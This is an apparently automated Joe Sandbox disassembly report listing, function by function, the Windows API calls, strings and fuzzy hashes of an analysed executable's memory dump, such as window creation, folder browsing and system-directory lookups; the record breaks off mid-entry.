SetUnhandledExceptionFilter.KERNEL32(00409890,0040116F,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008), ref: 00409A0C
SetUnhandledExceptionFilter.KERNEL32(0040116F,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008,00000008), ref: 00409A20

Memory Dump Source

Source File: 00000003.00000002.1420295868.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drbdmeyP.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8b0f608e405cae46fc8e63b589dbaca7258740b989b39933334343d4a09fb59f
Instruction ID: 2c8fa190a6d032f87ec30cf03d38c93985f91324802676e59826f832aed0a575
Opcode Fuzzy Hash: 8b0f608e405cae46fc8e63b589dbaca7258740b989b39933334343d4a09fb59f
Instruction Fuzzy Hash: 38E0E5B0208341EFC710CF18E948B867BF5B788701F01C43AE445922A5E7348C44EF5D

Function 004098F0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(004011C9,004011AA,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 004098F6

Memory Dump Source

Source File: 00000003.00000002.1420295868.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drbdmeyP.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 31e70d09a190535cfca40eac8151b35d3e49dc34e543f2d84d890ba62a303ae5
Instruction ID: 58fd1e7f992a672593766b16f957b5939387e25e4684d50d9e98353aec796854
Opcode Fuzzy Hash: 31e70d09a190535cfca40eac8151b35d3e49dc34e543f2d84d890ba62a303ae5
Instruction Fuzzy Hash: 96B00178018352DBDB019F14FC0CBC43F72B748715F82C174941141274E7794458DA88

Function 004099EC Relevance: .0, Instructions: 9COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00409890,0040116F,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008), ref: 00409A0C
SetUnhandledExceptionFilter.KERNEL32(0040116F,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C,00000008,00000008), ref: 00409A20

Memory Dump Source

Source File: 00000003.00000002.1420295868.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drbdmeyP.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bad6891cb122df9e49b9d6ad62101fe9d028c943d09aafdc847ac0a0c5047257
Instruction ID: 407f328c64b279026553c54bcc55a3ba3d796e968f6632f773714a3d8d8c274d
Opcode Fuzzy Hash: bad6891cb122df9e49b9d6ad62101fe9d028c943d09aafdc847ac0a0c5047257
Instruction Fuzzy Hash: 5CC00230209382EFD7248F14A58479677A5A785741F05C43AD04596296D378CC46DF69

Function 00408F09 Relevance: 63.3, APIs: 31, Strings: 5, Instructions: 270windowregistrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00408DF8: wcslen.MSVCRT ref: 00408E04
Part of subcall function 00408DF8: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00408E1A
Part of subcall function 00408DF8: wcscpy.MSVCRT ref: 00408E2B

GetStockObject.GDI32(00000011), ref: 00408F52
LoadIconW.USER32 ref: 00408F89
LoadCursorW.USER32(00000000,00007F00), ref: 00408F99
RegisterClassExW.USER32 ref: 00408FC1
IsWindowEnabled.USER32(?), ref: 00408FE8
EnableWindow.USER32(00000000), ref: 00408FF9
GetSystemMetrics.USER32(00000001), ref: 00409031
GetSystemMetrics.USER32(00000000), ref: 0040903E
CreateWindowExW.USER32(00000000,00000000,10C80000,-00000096,?,?,?,?,?), ref: 0040905F
CreateWindowExW.USER32(00000000,STATIC,?,5000000B,0000000A,0000000A,00000118,00000016,00000000,00000000,00000000), ref: 004090A1
SendMessageW.USER32(00000000,00000030,00000001), ref: 004090B9
CreateWindowExW.USER32(00000200,EDIT,00000000,00000000,0000000A,00000020,00000113,00000015,00000000,0000000A,00000000), ref: 004090F7
SendMessageW.USER32(00000000,00000030,00000001), ref: 00409109
SetFocus.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409111
SendMessageW.USER32(0000000C,00000000,00000000), ref: 00409126
wcslen.MSVCRT ref: 00409129
wcslen.MSVCRT ref: 00409131
SendMessageW.USER32(000000B1,00000000,00000000), ref: 00409143
CreateWindowExW.USER32(00000000,BUTTON,00412080,50010001,0000006E,00000043,00000050,00000019,00000000,000003E8,00000000), ref: 0040916D
SendMessageW.USER32(00000000,00000030,00000001), ref: 0040917F
CreateAcceleratorTableW.USER32(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004091B6
SetForegroundWindow.USER32(00000000), ref: 004091BF
BringWindowToTop.USER32(00000000), ref: 004091C6
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004091D9
TranslateAcceleratorW.USER32(00000000,00000000,?), ref: 004091EA
TranslateMessage.USER32(?), ref: 004091F9
DispatchMessageW.USER32(?), ref: 00409204
DestroyAcceleratorTable.USER32(00000000), ref: 00409218
wcslen.MSVCRT ref: 00409229
wcscpy.MSVCRT ref: 00409241
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409254

Strings

STATIC, xrefs: 0040909B
BUTTON, xrefs: 00409166
D A, xrefs: 00408FA3
EDIT, xrefs: 004090ED
0, xrefs: 00408F65

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: MessageWindow$CreateSend$wcslen$Accelerator$HeapLoadMetricsSystemTableTranslatewcscpy$AllocateBringClassCursorDestroyDispatchEnableEnabledFocusForegroundFreeIconObjectRegisterStock
String ID: 0$BUTTON$D A$EDIT$STATIC
API String ID: 3646533217-3594934238
Opcode ID: 3fcf05c2c670f9430beb8a8042eecd10dcdbf7949def48891d5c24a0ba03bd32
Instruction ID: 4016936b5c3c7f784b3cc7a4ee05ecee8f5df5742f345e72c0c18d3b3e823eb4
Opcode Fuzzy Hash: 3fcf05c2c670f9430beb8a8042eecd10dcdbf7949def48891d5c24a0ba03bd32
Instruction Fuzzy Hash: 1E917F70648300BFE7219F61DC4AF9B7FA9FB48B44F01893EF644A61E1C7B998408B59

Function 004092F5 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 116libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00409313

Part of subcall function 0040E350: TlsGetValue.KERNEL32(0000000E,?,?,00409859,00000000), ref: 0040E35A

memset.MSVCRT ref: 00409321
LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040932E
GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 00409350
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 0040935C
wcsncpy.MSVCRT ref: 0040937D
wcslen.MSVCRT ref: 00409391
wcslen.MSVCRT ref: 00409421
FreeLibrary.KERNEL32(00000000,00000000), ref: 00409440

Strings

SHGetPathFromIDListW, xrefs: 00409352
SHBrowseForFolderW, xrefs: 0040934A
P, xrefs: 004093C9
SHELL32.DLL, xrefs: 00409329

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AddressLibraryProcwcslen$FreeInitializeLoadValuememsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 1239124402-4219398408
Opcode ID: 42003ebdf0c47dd137335dbc09b8f1923353f45383f5fc8fbfe1239afd240aba
Instruction ID: 1392e4e60208b56ee8b10dacf4ca704cd47aacd570b2ed0dd50540f2d7556013
Opcode Fuzzy Hash: 42003ebdf0c47dd137335dbc09b8f1923353f45383f5fc8fbfe1239afd240aba
Instruction Fuzzy Hash: 81418571504300AAC720EF759C49A9FBBE8EF88744F00483FF945E3292D779D9458B6A

Function 00411D62 Relevance: 19.6, APIs: 13, Instructions: 74memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,0040D2E8,0040D226,00000000,?,?,00409825), ref: 00411D72
RtlInitializeCriticalSection.NTDLL(00417680), ref: 00411D7E
TlsGetValue.KERNEL32(?,?,0040D2E8,0040D226,00000000,?,?,00409825), ref: 00411D94
RtlAllocateHeap.NTDLL(00000008,00000014), ref: 00411DAE
RtlEnterCriticalSection.NTDLL(00417680), ref: 00411DBF
RtlLeaveCriticalSection.NTDLL(00417680), ref: 00411DDB
GetCurrentProcess.KERNEL32(00000010,00100000,00000000,00000000,?,0040D2E8,0040D226,00000000,?,?,00409825), ref: 00411DF4
GetCurrentThread.KERNEL32 ref: 00411DF7
GetCurrentProcess.KERNEL32(00000000,?,0040D2E8,0040D226,00000000,?,?,00409825), ref: 00411DFE
DuplicateHandle.KERNEL32(00000000,?,0040D2E8,0040D226,00000000,?,?,00409825), ref: 00411E01
RegisterWaitForSingleObject.KERNEL32(0000000C,00000010,00411E5A,00000000,000000FF,00000008), ref: 00411E17
TlsSetValue.KERNEL32(00000000,?,0040D2E8,0040D226,00000000,?,?,00409825), ref: 00411E24
RtlAllocateHeap.NTDLL(00000000,0000000C), ref: 00411E35

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalCurrentSection$AllocateHeapProcessValue$AllocDuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 2673290768-0
Opcode ID: bdee7e9acd0791c466288ec044d2aaab850532c309e9e3b615f344bc37c153a3
Instruction ID: 8d0ee0ed933d17ffb5573716605f6a27c21e7768710c452de208be154d108613
Opcode Fuzzy Hash: bdee7e9acd0791c466288ec044d2aaab850532c309e9e3b615f344bc37c153a3
Instruction Fuzzy Hash: 91210770645301EFDB109FA4FC88B963B7AFB08761F11C43AFA059A2A5DB74D840CB68

Function 0040A7DA Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0040E200: TlsGetValue.KERNEL32(0000000E), ref: 0040E20C
Part of subcall function 0040E200: RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 0040E267

LoadLibraryW.KERNEL32(Shell32.DLL,00000104,00000000,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040A803
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 0040A815
wcscpy.MSVCRT ref: 0040A83B
wcscat.MSVCRT ref: 0040A846
wcslen.MSVCRT ref: 0040A84C
FreeLibrary.KERNEL32(00000000,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,004046B8,00000000), ref: 0040A861
wcscat.MSVCRT ref: 0040A879
wcslen.MSVCRT ref: 0040A87F

Strings

Downloads\, xrefs: 0040A873
Shell32.DLL, xrefs: 0040A7FE
SHGetKnownFolderPath, xrefs: 0040A80F

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Librarywcscatwcslen$AddressAllocateFreeHeapLoadProcValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1264281023-287042676
Opcode ID: b1cb2b827d924665fd2adeb937a2355c88ec01053d4281b0242acf6ac71bb9bc
Instruction ID: a59125e26d23ccb30f5fa0f47659a7dbf798ada992acc4f36018911529e702ca
Opcode Fuzzy Hash: b1cb2b827d924665fd2adeb937a2355c88ec01053d4281b0242acf6ac71bb9bc
Instruction Fuzzy Hash: 0D210A32244301B6E11037A2AD4AF6B3A68CB41B94F10843BFD01B51C1D6BC897696AF

Function 00403275 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403302
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040330B
GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 0040342B
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,00000000,00000800,00000000,00000000,00000000), ref: 00403434

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0040DEBC

PathAddBackslashW.SHLWAPI(00000000,00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040333B

Part of subcall function 0040DE20: GetLastError.KERNEL32 ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000000E), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99

GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 00403468
PathAddBackslashW.SHLWAPI(00000000,00000000,00000000,?,00000000,00000000), ref: 00403471

Strings

sysnative, xrefs: 00403322, 00403327

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: BackslashPath$Directory$AllocateErrorHeapLastSystemValue$Windows
String ID: sysnative
API String ID: 3406704365-821172135
Opcode ID: b20c9ae3932b8e0ef357907c6ae28b98a0e625ce9d02519da34cd8c021745bfe
Instruction ID: 120ea7a7f831b7b3701c46aacaf1f8b25255709322070768e577057f0a501d54
Opcode Fuzzy Hash: b20c9ae3932b8e0ef357907c6ae28b98a0e625ce9d02519da34cd8c021745bfe
Instruction Fuzzy Hash: 39512075518701AAD600BBB1CD82F2F66A9EFD0708F10C83FB144791D2CA3CD9595BAE

Function 0040D9E3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Kernel32.dll), ref: 0040D9F1
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040DA06
FreeLibrary.KERNEL32(00000000), ref: 0040DA21
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 0040DA30
Sleep.KERNEL32(00000000), ref: 0040DA42
InterlockedExchange.KERNEL32(?,00000002), ref: 0040DA55

Strings

InitOnceExecuteOnce, xrefs: 0040DA00
Kernel32.dll, xrefs: 0040D9EA

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: ExchangeInterlockedLibrary$AddressCompareFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 2918862794-1339284965
Opcode ID: 6d048d891e2cf8fbf7d8d619f0fa725de381c314969143a28184dc53c1081fbd
Instruction ID: 78d57fd6bf002b5b6c2ef9560121a390c40c5b5e23dd256736785be4ed7191ec
Opcode Fuzzy Hash: 6d048d891e2cf8fbf7d8d619f0fa725de381c314969143a28184dc53c1081fbd
Instruction Fuzzy Hash: 0E01D431B14204BBD7102FE4AC49FEB3B29EB86B12F11803AF505A11C4DB788909CA6D

Function 004062B0 Relevance: 13.8, APIs: 9, Instructions: 275COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 004063A5

Part of subcall function 0040E180: TlsGetValue.KERNEL32(0000000E), ref: 0040E18A

_wcsdup.MSVCRT ref: 004063EE
_wcsdup.MSVCRT ref: 00406409
_wcsdup.MSVCRT ref: 0040642C
wcsncpy.MSVCRT ref: 00406518
??3@YAXPAX@Z.MSVCRT ref: 0040657C
??3@YAXPAX@Z.MSVCRT ref: 0040658F
??3@YAXPAX@Z.MSVCRT ref: 004065A2
wcsncpy.MSVCRT ref: 004065CE

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: ??3@_wcsdupwcsncpy$Value
String ID:
API String ID: 3451606040-0
Opcode ID: 18ebab3364349f054bf8340b61c70f4d2165a231e3e0755032edd230e75b6dd8
Instruction ID: ef8ff848e519ff80595976f88fda9aa54c27a9e0628953f57c1371388918df2b
Opcode Fuzzy Hash: 18ebab3364349f054bf8340b61c70f4d2165a231e3e0755032edd230e75b6dd8
Instruction Fuzzy Hash: 70A1BD71504301AFCB209F18C88166BB7B1EF94348F05093EFD86A7395E77AD925CB9A

Function 004094A7 Relevance: 10.6, APIs: 7, Instructions: 50threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 004094B1
GetCurrentThreadId.KERNEL32 ref: 004094BF
IsWindowVisible.USER32(?), ref: 004094C6

Part of subcall function 0040DB12: RtlAllocateHeap.NTDLL(00000008,00000000,0040D38C), ref: 0040DB1E

GetCurrentThreadId.KERNEL32 ref: 004094E3
GetForegroundWindow.USER32 ref: 004094FE
IsWindowEnabled.USER32(?), ref: 00409509
EnableWindow.USER32(?,00000000), ref: 00409519

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Window$Thread$Current$AllocateEnableEnabledForegroundHeapProcessVisible
String ID:
API String ID: 2983394722-0
Opcode ID: 1f4750660798c3bab16e5480091953d12569fa84976fdb8457a986ceb55f5c55
Instruction ID: d72cecd996af7503d4a55556d0eaf5d1fe8b6ec4fae3718c35eb9c11583601b7
Opcode Fuzzy Hash: 1f4750660798c3bab16e5480091953d12569fa84976fdb8457a986ceb55f5c55
Instruction Fuzzy Hash: B10175312043016ED3215B79AC88AAB7AE8EF95754B15803EF545E31A6DB74DC01C669

Function 00409528 Relevance: 9.1, APIs: 6, Instructions: 68threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(004094A7,?), ref: 0040953B
GetCurrentThreadId.KERNEL32 ref: 00409553
SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,?,004092B0,00000000,00408E8A), ref: 0040956F
GetCurrentThreadId.KERNEL32 ref: 0040958F
EnableWindow.USER32(?,00000001), ref: 004095A5
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,?,004092B0,00000000,00408E8A), ref: 004095BC

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: a3a0aeb73a1e0995adc417d57e62e0e38a3107fe39a7a04aa6534d5b9020df72
Instruction ID: f5bff55c5df6c6442a3445df2da52706b8c810d9f19cb65a9eb7b3fa66b57753
Opcode Fuzzy Hash: a3a0aeb73a1e0995adc417d57e62e0e38a3107fe39a7a04aa6534d5b9020df72
Instruction Fuzzy Hash: 6A11AC32609351BBD7324B17EC08F53BBA9AB81B21F15863EF456221E1DB759D00C618

Function 0040D2F3 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D318
RtlAllocateHeap.NTDLL(00000008,00000000), ref: 0040D32C
TlsSetValue.KERNEL32(00000000,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D339
TlsGetValue.KERNEL32(?,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D350
RtlReAllocateHeap.NTDLL(00000008,00000000), ref: 0040D35F
TlsSetValue.KERNEL32(00000000,?,?,?,?,00409614,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D36E

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Value$AllocateHeap$Alloc
String ID:
API String ID: 2511646910-0
Opcode ID: bf16ee7e76be1fa04c8f8f9f6ecfdcdea20948edfbd20feb47145de7ddf136ce
Instruction ID: 9f859b01fecb640b0c0eeeefa64339d4fa0418cdbc8b4e3825918bdf59145f1e
Opcode Fuzzy Hash: bf16ee7e76be1fa04c8f8f9f6ecfdcdea20948edfbd20feb47145de7ddf136ce
Instruction Fuzzy Hash: 76116072B44710AFD7119FA9EC48AA67BB9FB48760B05843AFA04D33A0D7359C048B6C

Function 00411CE4 Relevance: 9.0, APIs: 6, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

UnregisterWait.KERNEL32(?), ref: 00411CEE
CloseHandle.KERNEL32(?), ref: 00411CF7
RtlEnterCriticalSection.NTDLL(00417680), ref: 00411D03
RtlLeaveCriticalSection.NTDLL(00417680), ref: 00411D28
HeapFree.KERNEL32(00000000,?), ref: 00411D46
HeapFree.KERNEL32(?,?), ref: 00411D58

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalFreeHeapSection$CloseEnterHandleLeaveUnregisterWait
String ID:
API String ID: 4204870694-0
Opcode ID: abb9133c54fbe8d7efa3480d1120fe62ec6eeac9e18d1619677bbddffc82dd13
Instruction ID: 8f9f96d7996d446dd79b7cbdc6e3cce5d3da35cfe841f16b8799e142d118698f
Opcode Fuzzy Hash: abb9133c54fbe8d7efa3480d1120fe62ec6eeac9e18d1619677bbddffc82dd13
Instruction Fuzzy Hash: 6B012574202601BFCB119F15FD88A96BB79FF493513118139E61A87630C735AC51CB98

Function 00405553 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405562
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?), ref: 00405571
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581

Strings

ntdll.dll, xrefs: 0040556C
RtlGetVersion, xrefs: 0040557B

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: RtlGetVersion$ntdll.dll
API String ID: 3137504439-1489217083
Opcode ID: 511749e795eec0cdce68fd6837bdff5dd9192a1533a247fbf36adb3b887cc1d8
Instruction ID: d7b210edb93dcdeb2ccead98f224fd87bedff0db37ff7f51e22340fec2856e60
Opcode Fuzzy Hash: 511749e795eec0cdce68fd6837bdff5dd9192a1533a247fbf36adb3b887cc1d8
Instruction Fuzzy Hash: E0E0DF317606127AD6202B32AC09FCB2F9DDFCAB00B15043AB109F21C4E67CC5018ABD

Function 00405492 Relevance: 7.6, APIs: 5, Instructions: 60synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,00000000,00000000,00000000,?), ref: 004054AB
RtlEnterCriticalSection.NTDLL(004176A0), ref: 004054BD
WaitForSingleObject.KERNEL32(?,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000), ref: 004054D4
CloseHandle.KERNEL32(?,?,?,?,?,00402E2C,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004054E0
RtlLeaveCriticalSection.NTDLL(004176A0), ref: 00405523

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalSection$CloseCreateEnterHandleLeaveObjectSingleThreadWait
String ID:
API String ID: 458812214-0
Opcode ID: 6ed1f9472aaecad8110596c08d16cfc3ba6fdd38aae9ed686341541dbb8ce168
Instruction ID: c80a9bd37122c97109a10f206962e584b77ac8964ddc4e7c45fa9607085a50ae
Opcode Fuzzy Hash: 6ed1f9472aaecad8110596c08d16cfc3ba6fdd38aae9ed686341541dbb8ce168
Instruction Fuzzy Hash: 1111A336204710BFC2115F59EC05E97BB69EB45762722802AF80197294EB75E9508F6D

Function 0040D8E6 Relevance: 7.6, APIs: 5, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(0041761C), ref: 0040D8FA
RtlLeaveCriticalSection.NTDLL(0041761C), ref: 0040D94F

Part of subcall function 0040D8E6: HeapFree.KERNEL32(00000000,?,?,00409E88,?,00000200,?,?,00409D8F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D948

RtlDeleteCriticalSection.NTDLL(00000020), ref: 0040D968
HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00409E88,?,00000200,?,?,00409D8F,00000200,?,?,?,004010C3), ref: 0040D977

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalSection$FreeHeap$DeleteEnterLeave
String ID:
API String ID: 3171405041-0
Opcode ID: 36284dfdec02e05f935528c2070bfad03c6b4f7cfd04ca417c4f9c2788c2e318
Instruction ID: 7b35f574515ae906377effd3f95b136c975bcdd302f3c0dc89a566dd6d791b35
Opcode Fuzzy Hash: 36284dfdec02e05f935528c2070bfad03c6b4f7cfd04ca417c4f9c2788c2e318
Instruction Fuzzy Hash: BB1158B5502601EFC320AF59EC08F97BBB5FF44311F11843AA44AA36A1C734E849CF98

Function 00409638 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0040E200: TlsGetValue.KERNEL32(0000000E), ref: 0040E20C
Part of subcall function 0040E200: RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 0040E267

GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 00409654
wcscmp.MSVCRT ref: 00409662
memmove.MSVCRT ref: 0040967A

Strings

\\?\, xrefs: 0040965A, 00409674

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

